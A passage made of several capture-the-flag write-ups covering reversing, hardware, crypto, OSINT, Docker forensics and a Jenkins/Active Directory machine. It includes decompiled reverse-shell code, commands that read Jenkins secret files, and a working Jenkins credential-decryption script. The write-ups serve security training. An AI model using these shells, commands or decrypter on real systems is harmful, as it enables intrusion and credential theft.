Activated...\n"); } ~basic_ifstream(local_218); if (*(long *)(in_FS_OFFSET + 0x28) == local_10) { return; } /* WARNING: Subroutine does not return */ __stack_chk_fail();}``` We see that the program is looking for `flag.txt` and that the contents of this file will go through some checks and the vault will open. The main check occurs in the following `while( true )` loop:```C bVar1 = true; local_234 = 0; while( true ) { local_241 = 0; if (local_234 < 0x19) { local_241 = good(); } if ((local_241 & 1) == 0) break; get((char *)local_218); bVar2 = (***(code ***)(&PTR_PTR_00117880)[(byte)(&DAT_0010e090)[(int)local_234]])(); if ((int)local_219 != (uint)bVar2) { bVar1 = false; } local_234 = local_234 + 1; }```Variable `local_234` represents the position in the text file, going up to `0x19 == 25`. A check is performed on this character and if it is incorrect, `bVar1`, the variable that determines acceptance, is false. The check is as follows:```CbVar2 = (***(code ***)(&PTR_PTR_00117880)[(byte)(&DAT_0010e090)[(int)local_234]])();``` Opening the program in Hopper makes this part of the code a bit easier to understand (at least for me).```C do { local_241 = 0x0; if (sign_extend_64(local_234) < 0x19) { var_23A = std::basic_ios<char, std::char_traits<char> >::good(); local_241 = var_23A; } if ((local_241 & 0x1) == 0x0) { break; } rax = std::istream::get(&local_218); rsi = *(int8_t *)(sign_extend_64(local_234) + 0x10e090) & 0xff; rdi = *(0x117880 + rsi * 0x8); rcx = *rdi; rcx = *rcx; bVar2 = (rcx)(rdi, rsi, 0x8, rcx); if (sign_extend_64(local_219) != (bVar2 & 0xff)) { bVar1 = 0x0; } local_234 = local_234 + 0x1; } while (true);``` `rsi` is the value at the address `(local_234 + 0x10e090) & 0xff`, which leads us to: ``` 0010e090 e0 ?? E0h 0010e091 d1 ?? D1h 0010e092 bb ?? BBh 0010e093 27 ?? 27h ' 0010e094 f6 ?? F6h 0010e095 72 ?? 72h r 0010e096 db ?? DBh 0010e097 a3 ?? A3h 0010e098 83 ?? 83h 0010e099 b9 ?? B9h 0010e09a 69 ?? 69h i 0010e09b 23 ?? 23h # 0010e09c db ?? DBh 0010e09d 63 ?? 63h c 0010e09e b9 ?? B9h 0010e09f 23 ?? 23h # 0010e0a0 05 ?? 05h 0010e0a1 2b ?? 2Bh + 0010e0a2 2b ?? 2Bh + 0010e0a3 83 ?? 83h 0010e0a4 23 ?? 23h # 0010e0a5 39 ?? 39h 9 0010e0a6 45 ?? 45h E 0010e0a7 39 ?? 39h 9 0010e0a8 92 ?? 92h```For the first character, the value we're after for `rsi` is `0xe0`. From here, we have to perform `rdi = *(0x117880 + rsi * 0x8)` for each value. I performed these calculations with the Windows 10 built-in Programmer calculator. For brevity, I will only show this for the first character. For the first character, we would do `0x117f80 = (0x117880 + 0xe0 * 0x8)`, resulting in `rdi = *(0x117f80)`, which leads to:``` PTR_FUN_001152a8 XREF[1]: 00117780(*) 001152a8 60 d2 10 addr FUN_0010d260 00 00 00 00 00``` Following this, we reach this function which returns the character for the iteration, which in this case is `H`.```Cundefined8 FUN_0010d260(void) { return 0x48;}``` After painstakingly calculating all of the characters and following the functions, we get the flag: `HTB{vt4bl3s_4r3_c00l_huh}`
download zip file and uncompress it inter to challenge-crazy/home/crazy_crocodile/.config/google-chrome/Default strings Favicons file found url https://drive.google.com/file/d/1rMHBY09I9EXO5S8lrJd79DVc13qEiRC7/view file name LJryyYW8IbxuZrOcZ4nd-this-is-a-challenge.zip its the flag flag{LJryyYW8IbxuZrOcZ4nd-this-is-a-challenge}
# Hardware Madness ## tl;dr CPU circuit with custom defined instructions that need to be assembled into binary ## Analysis Let's open the circuit in Logisim Evolution: ![Logi](img/logi_init.png) We can obviously see this is a CPU circuit. We can see a PC (Program Counter), RAM, Registers, an ALU and a bus. We can click on Simulate on top left and click on CU to get a view of the instructions this circuit can run: ![Instructions](img/cpu_instructions.png) ## Analysing The Example Before we move forward, let's take a look at the example files: ![Instructions](img/example.png) We can see 7 custom-assembly instructions on the example.asm file and 7 3-hex assembled instructions on the left. To understand the structure of this a bit more, let's take a look at how instructions are broken down in the circuit: ![Instructions](img/wr.png) The instruction that's stored in WR is broken down in 21 bits. The structure is the following: | opcode | arg1 | arg2 || :---: | :---: | :---: || 16-20 | 8-15 | 0-7 | The opcode takes 5 bits while both the arguments take 8 bits each. This means we can represent all of them with one byte each. ## Breaking Down The Instrucitons Looking back at the example: ![Instructions](img/example.png) Let's take a look at the instructions: ```asmmovl ax, 10``` turns into 10000a when assembled. We can break that down to [10][00][0a] or: | opcode | arg1 | arg2 || :---: | :---: | :---: || 10 | 00 | 0a | Which basically tells us: 1. The instruction is 0x10, so movl2. The first argument is 00, so it corresponds to the first register ax3. The second argument is 0x0a, which corresponds to the hex value 0A or decimal 104. Summarizing, we move the value 0x0A into ax The same very basic logic goes for every other instruction. Now if we knew every instruction's opcode, we could technically assemble any instruction we find in our way. ## Labels Before we get to that, let's also look at our 7th instruction: ```asmmovl bx, :sub1``` This instruction obviously moves the label :sub1 into the register bx. This instruction gets turned into 100101 or: | opcode | arg1 | arg2 || :---: | :---: | :---: || 10 | 01 | 01 | Where arg2 is obviously the label. The value 1 is given to us to point to label :sub1, which is right before the second instruction. This would mean that a label is an address pointer, so we would also need to keep track of those in our assembler. ## Reversing The Opcodes We now know the structure that we want to assemble into. What we're missing is the opcodes. Let's open up our CPU instructions again: ![Instructions](img/cpu_instructions.png) Clicking on any one of those will take us to the corresponding circuit that handles the instruction. For example, let's go to the CALL instruction: ![Instructions](img/call_full.png) We see the entire CALL circuit. We can see a couple of inputs here. The ones that we care about are: 1. IR (Instruction Register)2. AX, BX, CX, DX (General Purpose Registers) Let's look closer into the IR input: ![Instructions](img/call_ir.png) We can clearly see that this becomes 1, if and only if the value in IR is 10001 or 0x11. Voila, we found the opcode for CALL!. We can repeat this for any other instruction. Let's also check CJMP: ![Instructions](img/cjmp.png) Here we can instead see that IR goes into multiple AND gates. Each one of those is a specific jump instruction, i.e. JG (Jump Greater), JGE (Jump Greater Or Equal), JL (Jump Less) etc... We can extract the opcodes for all of these. For example, we can see that JL becomes 1 if and only if IR is 01010 or 0x0a. ## Assembling Since we now know everything we need to assemble the code, let's write an assembler for this. We first define the opcodes. I only define the ones we actually use in program.data: ![Instructions](img/opcodes.png) We can then define the registers: ![Instructions](img/registers.png) Before we start assembling, we also need to parse the labels: ![Instructions](img/parse_labels.png) We come up with the following script: ```py# assembler.pyinput = open('program.asm', 'r')out = open('program.data', 'w+') binary = [] # opcodesopcodes = { 'movl' : 0x10, 'clr' : 0x03, 'mmiv' : 0x17, 'mmov' : 0x18, 'call' : 0x11, 'push' : 0x14, 'sub' : 0x01, 'cmp' : 0x13, 'jnz' : 0x0e, 'pop' : 0x15, 'msk' : 0x1a, 'mskb' : 0x1b, 'jl' : 0x0a, 'jmp' : 0x05, 'ret' : 0x12} # registersregisters = { 'ax' : 0x00, 'bx' : 0x01, 'cx' : 0x02, 'dx' : 0x03} labels = {} def make_operand(operand): # If addition on label if len(operand.split('+')) == 2: arr = operand.split('+') return str(hex(labels[arr[0]] + int(arr[1], 10))[2:]).zfill(2) # Convert depending on type if operand in registers: return str(hex(registers[operand])[2:]).zfill(2) elif operand in labels: return str(hex(labels[operand])[2:]).zfill(2) elif operand.startswith('0x'): return str(hex(int(operand, 16))[2:]).zfill(2) elif operand.isnumeric: return str(hex(int(operand, 10))[2:]).zfill(2) else: return str(hex(int(operand, 16))[2:]).zfill(2) def parse_labels(lines): instruction_counter = 0 for line in lines: l = line.strip() # parse labels if l.startswith(':'): labels[l] = instruction_counter continue instruction_counter += 1 return def compile(): out.write('v2.0 raw\n') for instr in binary: out.write(instr + ' ') return def parse(): instruction_counter = 0 lines = input.readlines() parse_labels(lines) print(labels) for line in lines: l = line.strip() if l.startswith(':'): continue instruction = '' opcode = l.split(' ')[0] instruction += str(hex(opcodes[opcode])[2:]) # remove empty spaces args = [x.replace(',', '') for x in l.split(' ') if x != ''] # check if instruction with no args if len(args) != 1: instruction += make_operand(args[1]) instruction += make_operand(args[2]) else: instruction += '0000' binary.append(instruction) instruction_counter += 1 parse()compile()#print(labels)``` And we use it to compile the binary. ## Flag We go back to our circuit and load our binary into the RAM: ![Instructions](img/ram_loaded.png) We then set the frequency to the highest and run the simulation with "Auto-Tick Enabled" and "Auto-Propagate": ![Instructions](img/frequency.png) After a few minutes, the flag appears in the tty: ![Instructions](img/flag.png)
# Peel back the layers The description for this challenge is as follows: *An unknown maintainer managed to push an update to one of our public docker images. Our SOC team reported suspicious traffic coming from some of our steam factories ever since. The update got retracted making us unable to investigate further. We are concerned that this might refer to a supply-chain attack. Could you investigate?Docker Image: steammaintainer/gearrepairimage* The challenge was rated at 1 out of 4 stars, and it was worth 325 points at the end with a total of 165 solves. This one was pretty easy, although it required some basic knowledge of how docker images work and some very basic binary reverse-engineering. **TL;DR Solution:** Download the docker image and extract it to a tar archive for easy examination of the layers. Note that an attempt to delete a folder was made in the history, and retrieve the file from one of the layers. Note that it displays indicators of malware, and extract the flag loaded into a stack variable. ## Original Writeup Link This writeup is also available on my GitHub! View it there via this link: https://github.com/knittingirl/CTF-Writeups/tree/main/forensic_challs/HTB_Uni_Quals_21/peel_back_the_layers ## Examining the Docker Image As a first step, I need to retrieve something to investigate. I can actually download the full docker image using a pull command like so:```knittingirl@piglet:~/CTF/HTB_Uni_Quals_21$ sudo docker pull steammaintainer/gearrepairimage [sudo] password for knittingirl: Using default tag: latestlatest: Pulling from steammaintainer/gearrepairimage7b1a6ab2e44d: Pull complete 858929a69ddb: Pull complete 97239c492e4d: Pull complete Digest: sha256:10d7e659f8d2bc2abcc4ef52d6d7caf026d0881efcffe016e120a65b26a87e7bStatus: Downloaded newer image for steammaintainer/gearrepairimage:latestdocker.io/steammaintainer/gearrepairimage:latest```Afterwards, it shows up in my docker images:```knittingirl@piglet:~/CTF/HTB_Uni_Quals_21$ sudo docker images[sudo] password for knittingirl: REPOSITORY TAG IMAGE ID CREATED SIZEsteammaintainer/gearrepairimage latest 47f41629f1cf 10 days ago 72.8MB```Based on the image ID, I can look at the command line history of the image. Interestingly, it looks like somebody tried to delete the folder /usr/share/lib/.```knittingirl@piglet:~/CTF/HTB_Uni_Quals_21$ sudo docker history 47f41629f1cfIMAGE CREATED CREATED BY SIZE COMMENT47f41629f1cf 10 days ago /bin/sh -c #(nop) CMD ["bin/bash" "-c" "/bi… 0B <missing> 10 days ago /bin/sh -c rm -rf /usr/share/lib/ 0B <missing> 10 days ago /bin/sh -c #(nop) CMD ["bin/bash" "-c" "/bi… 0B <missing> 10 days ago /bin/sh -c #(nop) ENV LD_PRELOAD= 0B <missing> 10 days ago /bin/sh -c #(nop) CMD ["bin/bash" "-c" "/bi… 0B <missing> 10 days ago /bin/sh -c #(nop) ENV LD_PRELOAD=/usr/share… 0B <missing> 10 days ago /bin/sh -c #(nop) COPY file:0b1afae23b8f468e… 16.4kB <missing> 10 days ago /bin/sh -c #(nop) CMD ["bin/bash" "-c" "/bi… 0B <missing> 5 weeks ago /bin/sh -c #(nop) CMD ["bash"] 0B <missing> 5 weeks ago /bin/sh -c #(nop) ADD file:5d68d27cc15a80653… 72.8MB ```The challenge's title references layers. Docker images are actually comprised of several layers, and it is a reasonably common tactic in forensic challenges to hide files in layers that would not be visible if you actually booted up the image and attempted to look at the file system in that manner. One of the more straightforward ways to examine a Docker image's layers is by extracting the whole thing to a tar archive, ```sudo docker save 47f41629f1cf > gearrepair.tar```I can then untar the archive and examine the contents. I found the supposedly deleted file fairly quickly; here is what the process looks like from the command line.```knittingirl@piglet:~/CTF/HTB_Uni_Quals_21$ mkdir peel_back_the_layersknittingirl@piglet:~/CTF/HTB_Uni_Quals_21$ tar -C peel_back_the_layers -xvf peel_back_the_layers.tar 0aec9568b70f59cc149be9de4d303bc0caf0ed940cd5266671300b2d01e47922/0aec9568b70f59cc149be9de4d303bc0caf0ed940cd5266671300b2d01e47922/VERSION0aec9568b70f59cc149be9de4d303bc0caf0ed940cd5266671300b2d01e47922/json0aec9568b70f59cc149be9de4d303bc0caf0ed940cd5266671300b2d01e47922/layer.tar47f41629f1cfcaf8890339a7ffdf6414c0c1417cfa75481831c8710196627d5d.json49201f69ba5d50da3c2d9fc6b07504640aed8ebf5caee85e2191e715f6d52127/49201f69ba5d50da3c2d9fc6b07504640aed8ebf5caee85e2191e715f6d52127/VERSION49201f69ba5d50da3c2d9fc6b07504640aed8ebf5caee85e2191e715f6d52127/json49201f69ba5d50da3c2d9fc6b07504640aed8ebf5caee85e2191e715f6d52127/layer.tar52c3108fa9ec86ba321f021d91d0da0c91a2dd2ac173cd27b633f6c2962fac6f/52c3108fa9ec86ba321f021d91d0da0c91a2dd2ac173cd27b633f6c2962fac6f/VERSION52c3108fa9ec86ba321f021d91d0da0c91a2dd2ac173cd27b633f6c2962fac6f/json52c3108fa9ec86ba321f021d91d0da0c91a2dd2ac173cd27b633f6c2962fac6f/layer.tarmanifest.jsonknittingirl@piglet:~/CTF/HTB_Uni_Quals_21$ cd peel_back_the_layers/knittingirl@piglet:~/CTF/HTB_Uni_Quals_21/peel_back_the_layers$ ls0aec9568b70f59cc149be9de4d303bc0caf0ed940cd5266671300b2d01e4792247f41629f1cfcaf8890339a7ffdf6414c0c1417cfa75481831c8710196627d5d.json49201f69ba5d50da3c2d9fc6b07504640aed8ebf5caee85e2191e715f6d5212752c3108fa9ec86ba321f021d91d0da0c91a2dd2ac173cd27b633f6c2962fac6fmanifest.jsonknittingirl@piglet:~/CTF/HTB_Uni_Quals_21/peel_back_the_layers$ cd 0aec9568b70f59cc149be9de4d303bc0caf0ed940cd5266671300b2d01e47922/knittingirl@piglet:~/CTF/HTB_Uni_Quals_21/peel_back_the_layers/0aec9568b70f59cc149be9de4d303bc0caf0ed940cd5266671300b2d01e47922$ lsVERSION json layer.tarknittingirl@piglet:~/CTF/HTB_Uni_Quals_21/peel_back_the_layers/0aec9568b70f59cc149be9de4d303bc0caf0ed940cd5266671300b2d01e47922$ tar -xvf layer.tar usr/usr/share/usr/share/lib/usr/share/lib/.wh..wh..opqusr/share/lib/librs.soknittingirl@piglet:~/CTF/HTB_Uni_Quals_21/peel_back_the_layers/0aec9568b70f59cc149be9de4d303bc0caf0ed940cd5266671300b2d01e47922$ lsVERSION json layer.tar usrknittingirl@piglet:~/CTF/HTB_Uni_Quals_21/peel_back_the_layers/0aec9568b70f59cc149be9de4d303bc0caf0ed940cd5266671300b2d01e47922$ cd usrknittingirl@piglet:~/CTF/HTB_Uni_Quals_21/peel_back_the_layers/0aec9568b70f59cc149be9de4d303bc0caf0ed940cd5266671300b2d01e47922/usr$ lsshareknittingirl@piglet:~/CTF/HTB_Uni_Quals_21/peel_back_the_layers/0aec9568b70f59cc149be9de4d303bc0caf0ed940cd5266671300b2d01e47922/usr$ cd shareknittingirl@piglet:~/CTF/HTB_Uni_Quals_21/peel_back_the_layers/0aec9568b70f59cc149be9de4d303bc0caf0ed940cd5266671300b2d01e47922/usr/share$ lslibknittingirl@piglet:~/CTF/HTB_Uni_Quals_21/peel_back_the_layers/0aec9568b70f59cc149be9de4d303bc0caf0ed940cd5266671300b2d01e47922/usr/share$ cd libknittingirl@piglet:~/CTF/HTB_Uni_Quals_21/peel_back_the_layers/0aec9568b70f59cc149be9de4d303bc0caf0ed940cd5266671300b2d01e47922/usr/share/lib$ lslibrs.so ```## Reverse Engineering the .so File If I run strings on this file, there are some indicators of it being a reverse shell of some kind; there are references to REMOTE_ADDR and REMOTE_PORT, and there is a GOT entry for the execve function.```knittingirl@piglet:~/CTF/HTB_Uni_Quals_21/peel_back_the_layers/0aec9568b70f59cc149be9de4d303bc0caf0ed940cd5266671300b2d01e47922/usr/share/lib$ strings -n10 librs.so __gmon_start___ITM_deregisterTMCloneTable_ITM_registerTMCloneTable__cxa_finalizeGLIBC_2.2.5REMOTE_ADDRREMOTE_PORTGCC: (Debian 10.2.1-6) 10.2.1 20210110crtstuff.cderegister_tm_clones__do_global_dtors_auxcompleted.0__do_global_dtors_aux_fini_array_entryframe_dummy__frame_dummy_init_array_entry__FRAME_END____dso_handle__GNU_EH_FRAME_HDR__TMC_END___GLOBAL_OFFSET_TABLE_getenv@GLIBC_2.2.5_ITM_deregisterTMCloneTablewrite@GLIBC_2.2.5htons@GLIBC_2.2.5dup2@GLIBC_2.2.5execve@GLIBC_2.2.5inet_addr@GLIBC_2.2.5__gmon_start__atoi@GLIBC_2.2.5connect@GLIBC_2.2.5_ITM_registerTMCloneTable__cxa_finalize@GLIBC_2.2.5fork@GLIBC_2.2.5socket@GLIBC_2.2.5.note.gnu.build-id.gnu.version.gnu.version_r.eh_frame_hdr.init_array.fini_array```If I decompile the file with Ghidra, I can see that the suspicious activity seems to be taking place in a con() function. It looks like a string is getting loaded into a stack variable, and this is probably the flag.```undefined8 con(void) { int iVar1; char *__nptr; char local_68 [40]; undefined local_38 [4]; in_addr_t local_34; int local_20; uint16_t local_1a; char *local_18; __pid_t local_c; local_c = fork(); if (local_c == 0) { local_18 = getenv("REMOTE_ADDR"); __nptr = getenv("REMOTE_PORT"); iVar1 = atoi(__nptr); local_1a = (uint16_t)iVar1; local_68._0_8_ = 0x33725f317b425448; local_68._8_8_ = 0x6b316c5f796c6c34; local_68._16_8_ = 0x706d343374735f33; local_68._24_8_ = 0x306230725f6b6e75; local_68._32_8_ = 0xd0a7d2121217374; local_38._0_2_ = 2; local_34 = inet_addr(local_18); local_38._2_2_ = htons(local_1a); local_20 = socket(2,1,0); connect(local_20,(sockaddr *)local_38,0x10); write(local_20,local_68,0x29); dup2(local_20,0); dup2(local_20,1); dup2(local_20,2); execve("/bin/sh",(char **)0x0,(char **)0x0); } return 0;}```I created a python script to do the conversion for me:```flag_list = []flag_list.append(0x33725f317b425448)flag_list.append(0x6b316c5f796c6c34)flag_list.append(0x706d343374735f33)flag_list.append(0x306230725f6b6e75)flag_list.append(0xd0a7d2121217374) flag = b''for item in flag_list: flag += (item).to_bytes(8, byteorder='little')print(flag)```And it printed out the flag for me:```knittingirl@piglet:~/CTF/HTB_Uni_Quals_21$ python3 gearrepair_string_convert.py b'HTB{1_r34lly_l1k3_st34mpunk_r0b0ts!!!}\n\r'```Thanks for reading!
# Space Pirates ## tl;dr Exploiting a flaw in Shamir's Encryption when a share and the calculation of the coefficients is known, into decryption of an afine cipher ## Analysis Shamir's Secret Sharing (SSS) is used to secure a secret in a distributed way, most often to secure other encryption keys. The secret is split into multiple parts, called shares. These shares are used to reconstruct the original secret. Basically a polynomial is created using random coefficients, and shares are created for x = 0, x = 1 etc. In our case, we can see that the first coefficient is the secret and that it's randomly generated: ![Logi](img/first_coeff.png) However, we're also given the second coefficient at the encrypted file: ![Logi](img/enc.png) We can also see the way of calculating the next coefficients. Basically, coefficient[i + 1] = MD5(coefficient[i]), so this is somewhat of a MD5 chain: ![Logi](img/next_coeff.png) Clearly, we can tell that the second coefficient that we are given is the MD5 of the secret. Sadly this is not reversible. ## Breaking The Secret Knowing the second coefficient, however, we can calculate every other coefficient using MD5. We can see that n is set to 10, so we only need to calculate the 9 first coefficients as we don't know the secret. Therefore, we will have an equation of something like: y = (coeff[0]x^0 + coeff[1]x^1 + coeff[2]x^3 + ... + coeff[9]x^9) % m However, we know that coeff[0] is the secret, so this becomes something like: y = (secret + coeff[1]x^1 + coeff[2]x^3 + ... + coeff[9]x^9) % m Gets more clear now, right? We also have a pair of y and x. That pair tells us that if we put x = 21202245407317581090 in that polynomial, the output will be y = 11086299714260406068. So let's sum up. We know y given x, we know m and we also know all coefficients other than secret. This means that coeff[1]x^1 + coeff[2]x^3 + ... + coeff[9]x^9 is known to us. Let's call that entire thing b. Summing up we have: y = (secret + b) % m This can be rewritten as: y = (1secret + b) % m We know that an affine cipher of type: y = (ax + b) % m can be decrypted as: x = (a^-1)*(y - b) where a^-1 is the GCD(a, m). Because a = 1, the GCD will be equal to 1. Therefore, it will look like this: x = y - b ## Solvescript We assemble a python script ```py# solve.pyimport base64from Crypto import Randomfrom Crypto.Cipher import AESfrom random import randint, randbytes,seedfrom hashlib import md5import math def next_coeff(val): return int(md5(val.to_bytes(32, byteorder="big")).hexdigest(),16) def calc_coeffs(init_coeff, coeffs): for i in range(8): coeffs.append(next_coeff(coeffs[i])) def rev_secret(init_coeff, init_x, init_y, p): coeffs = [init_coeff] calc_coeffs(init_coeff, coeffs) # init_y = (secret + coeffs[1] * init_x + coeffs[2] * init_x^1 + ... + coeffs[9] * init_x^9) % P sum = 0 for i in range(len(coeffs)): init_y -= coeffs[i] * (init_x ** (i + 1)) GCD = math.gcd(p, 1) secret = (GCD * (init_y)) % p return secret secret = rev_secret(93526756371754197321930622219489764824, 21202245407317581090, 11086299714260406068, 92434467187580489687) enc = '1aaad05f3f187bcbb3fb5c9e233ea339082062fc10a59604d96bcc38d0af92cd842ad7301b5b72bd5378265dae0bc1c1e9f09a90c97b35cfadbcfe259021ce495e9b91d29f563ae7d49b66296f15e7999c9e547fac6f1a2ee682579143da511475ea791d24b5df6affb33147d57718eaa5b1b578230d97f395c458fc2c9c36525db1ba7b1097ad8f5df079994b383b32695ed9a372ea9a0eb1c6c18b3d3d43bd2db598667ef4f80845424d6c75abc88b59ef7c119d505cd696ed01c65f374a0df3f331d7347052faab63f76f587400b6a6f8b718df1db9cebe46a4ec6529bc226627d39baca7716a4c11be6f884c371b08d87c9e432af58c030382b737b9bb63045268a18455b9f1c4011a984a818a5427231320ee7eca39bdfe175333341b7c' seed(secret)key = randbytes(16)cipher = AES.new(key, AES.MODE_ECB)enc_FLAG = cipher.decrypt(bytes.fromhex(enc)).decode("ascii")print(enc_FLAG)``` ## Flag Running the script: ![Flag](img/flag.png)
`Pax Vallejo` is on Hotel? ok! This last chall made me crazy... Why? The only thing location-related that we found about `Pax Vallejo` was the comment on `Oregon State University`, so after lot of hours searching about Hotels on Oregon State, Corvallis city and brute-forcing hundred of Hotels on this location on format flag, we concluded: this F****** script kiddie isn't there!Ok, let's back to OSINT thing... I have to say that after search on each social media, `Twitter`, unfortunatelly, was the last thing that appear on my head, why? My brain: "This is the last chall, `Twitter` is too obvious". Hahahahaha ![](https://i.imgur.com/kbZNhe8.png) Yeah, finally! There is 5 pictures on this account(a museum, a river, a trains station, and 2 images about the current location showing trains and rails), for not image-spamming I'll just post the link here and you can check: https://twitter.com/cheesep27684825 . After checking that there is no trains around Oregon State University hahahaha... my girlfriend found that the images was taken in London because this tower below: ![](https://i.imgur.com/UfWx8kL.png) Now starts the real FBI job... (This isn't funny cuz I never ever got on a train) ![](https://i.imgur.com/5heRCfg.png) On first image we can see `Circle line` on train, I researched about the London train map for this line... nothing else lot of results and hours. ![](https://i.imgur.com/vVyhHg7.png) Lot of numbers em data that I don't even know how to look. OK, after some hours, on the first image that show the `Pax Vallejo` Point of view, we can see this tower followed by a building-with-circular-thing on top. ![](https://i.imgur.com/bGZuidn.png) Definitively, a church. So, let's search some high chuchrs in London... ![](https://i.imgur.com/vpS3J3W.jpg) No joke, searching `London Church` on Google Images we can see this image above. Seems similar. This church is called `St Mary Abbots Parish`. So with We want to see that better, let's use [Google Earth](https://www.google.com.br/intl/pt-BR/earth/) to check this church followed by a building-with-circular-thing. ![](https://i.imgur.com/gNxadMA.jpg) Yeah, finally we got that! (Google Earth is insane). Following the image to the `Pax Vallejo` building... ![](https://i.imgur.com/1t92Fbh.jpg) ![](https://i.imgur.com/cN95g6u.jpg) The name is `Copthorne Tara Hotel London Kensington`.So the flag is: `dam{copthorne_tara_hotel_london_kensington}`
**Seeking the flag** Description: *Rumors that the file may have information that you need* - we got `rev` file, we can use this command to grep flag `strings rev | grep -i { -A 2` FLAG: `EHACON{fHl@g_1n_5Htr1ng5}`
# Object Author [morph3](https://twitter.com/melihkaanyldz) Object was a windows machine. There is `Jenkins` installed, anyone can register and create projects. By setting custom build options, you can get RCE. There is an AD on the box. After jumping between users and abusing wrong permissions we can get root. (I first blooded this box ?)![](https://i.imgur.com/JykWvH6.png) #### Jenkins We can register accounts to jenkins ![](https://i.imgur.com/mTjfKfJ.png) #### Creating a project and setting custom triggers Jenkins is popular CI/CD pipeline product. We can create projects and set triggers. ![](https://i.imgur.com/xImlMlr.png) We can set a schedule to trigger the build. Minimum period is 1 minute so one command per minute. ![](https://i.imgur.com/eDbrigY.png) ![](https://i.imgur.com/PqY13by.png) #### Recovering admin password We need three files to recover the admin user's password. `master.key` `hudson.util.Secret` and `config.xml` or `credentials.xml` file. In our case, last item will be `config.xml` of admin user. After some enumerations, we find full paths like below for those files. ```c:\users\oliver\AppData\Local\Jenkins\.jenkins\secrets\hudson.util.Secretc:\users\oliver\AppData\Local\Jenkins\.jenkins\secrets\master.keyc:\Users\oliver\AppData\Local\Jenkins\.jenkins\users\admin_17207690984073220035\config.xml ``` `where /R c:\users\oliver\AppData\Local\Jenkins *.xml`, ![](https://i.imgur.com/6NxmEz7.png) ![](https://i.imgur.com/Z3bovfP.png) ```type c:\Users\oliver\AppData\Local\Jenkins\.jenkins\users\admin_17207690984073220035\config.xml && type c:\users\oliver\AppData\Local\Jenkins\.jenkins\secrets\master.key && certutil -encode "c:\users\oliver\AppData\Local\Jenkins\.jenkins\secrets\hudson.util.Secret" c:\Users\oliver\documents\foo.64 && type "c:\Users\oliver\documents\foo.64" ``` ![](https://i.imgur.com/EovMGAU.png) `master.key````f673fdb0c4fcc339070435bdbe1a039d83a597bf21eafbb7f9b35b50fce006e564cff456553ed73cb1fa568b68b310addc576f1637a7fe73414a4c6ff10b4e23adc538e9b369a0c6de8fc299dfa2a3904ec73a24aa48550b276be51f9165679595b2cac03cc2044f3c702d677169e2f4d3bd96d8321a2e19e2bf0c76fe31db19``` base64 encoded `hudson.util.Secret`, ```gWFQFlTxi+xRdwcz6KgADwG+rsOAg2e3omR3LUopDXUcTQaGCJIswWKIbqgNXAvu2SHL93OiRbnEMeKqYe07PqnX9VWLh77Vtf+Z3jgJ7sa9v3hkJLPMWVUKqWsaMRHOkX30Qfa73XaWhe0ShIGsqROVDA1gS50ToDgNRIEXYRQWSeJY0gZELcUFIrS+r+2LAORHdFzxUeVfXcaalJ3HBhI+Si+pq85MKCcY3uxVpxSgnUrMB5MX4a18UrQ3iug9GHZQN4g6iETVf3u6FBFLSTiyxJ77IVWB1xgep5P66lgfEsqgUL9miuFFBzTsAkzcpBZeiPbwhyrhy/mCWogCddKudAJkHMqEISA3et9RIgA=``` oliver's encrypted passsword, ```AQAAABAAAAAQqU+m+mC6ZnLa0+yaanj2eBSbTk+h4P5omjKdwV17vcA=``` #### Decrypter script ```pythonfrom hashlib import sha256from Crypto.Cipher import AESimport base64 import reimport sysimport base64from hashlib import sha256from binascii import hexlify, unhexlifyfrom Crypto.Cipher import AES """# Proving that hudson secret and masterkey works finemagic = b"::::MAGIC::::"master_key ="f673fdb0c4fcc339070435bdbe1a039d83a597bf21eafbb7f9b35b50fce006e564cff456553ed73cb1fa568b68b310addc576f1637a7fe73414a4c6ff10b4e23adc538e9b369a0c6de8fc299dfa2a3904ec73a24aa48550b276be51f9165679595b2cac03cc2044f3c702d677169e2f4d3bd96d8321a2e19e2bf0c76fe31db19hashed_master_key = sha256(master_key).digest()[:16] # truncate to emulate toAes128Keyhudson_secret_key = open("hudson.util.Secret").read() o = AES.new(hashed_master_key, AES.MODE_ECB)x = o.decrypt(hudson_secret_key) k = x[:-16] # remove the MAGICk = k[:16] # truncate to emulate toAes128Key""" def decryptNewPassword(secret, p): p = p[1:] #Strip the version iv_length = ((p[0] & 0xff) << 24) | ((p[1] & 0xff) << 16) | ((p[2] & 0xff) << 8) | (p[3] & 0xff) p = p[4:] data_length = ((p[0] & 0xff) << 24) | ((p[1] & 0xff) << 16) | ((p[2] & 0xff) << 8) | (p[3] & 0xff) p = p[4:] iv = p[:iv_length] p = p[iv_length:] o = AES.new(secret, AES.MODE_CBC, iv) decrypted_p = o.decrypt(p) fully_decrypted_blocks = decrypted_p[:-16] possibly_padded_block = decrypted_p[-16:] padding_length = possibly_padded_block[-1] if padding_length <= 16: # Less than size of one block, so we have padding possibly_padded_block = possibly_padded_block[:-padding_length] pw = fully_decrypted_blocks + possibly_padded_block return pw hudson_secret_key = open("hudson.util.Secret", 'rb').read()hashed_master_key = sha256(b"f673fdb0c4fcc339070435bdbe1a039d83a597bf21eafbb7f9b35b50fce006e564cff456553ed73cb1fa568b68b310addc576f1637a7fe73414a4c6ff10b4e23adc538e9b369a0c6de8fc299dfa2a3904ec73a24aa48550b276be51f9165679595b2cac03cc2044f3c702d677169e2f4d3bd96d8321a2e19e2bf0c76fe31db19").digest()[:16]o = AES.new(hashed_master_key, AES.MODE_ECB)secret = o.decrypt(hudson_secret_key)print(secret) secret = secret[:-16]secret = secret[:16] password = base64.b64decode("AQAAABAAAAAQqU+m+mC6ZnLa0+yaanj2eBSbTk+h4P5omjKdwV17vcA=") print(decryptNewPassword(secret, password).decode()) ``` ```bash╰─λ python3 dec.py b'g[\xe6\x9f\xa8\xe5\x18\x97\xa9\x8d\xe2\x8c\x96\xeb\xd1\x9dB4h\x8e\xdc\xea%P\x87p3,\xc4\x8a\xfc\xf3u?JY?\xb2\xd6\x857:`\x87\x05\x9c\xad@\x98\xc5\xa4$K!\xd9\x05$y\xc6^eX\x88\xf2\xaa\x8a\xa2}\xe2\xee\xb5EQ\xa3P\x03\xf3\xe4\x1aE\x9f\xecEs\xfb\xa2\xd8\xde6\x83\x94\xef|\x03\xfa\x16\xa6\x82\xed7K\xfd1)\xd9\xfb\x8b>L\x1374W\x87<x\xd6\xa7\xabk\xe0\x0f\x1a\xb9\xee[\x8f\'\xed[\x87\x9d\xcdnCq\x95) 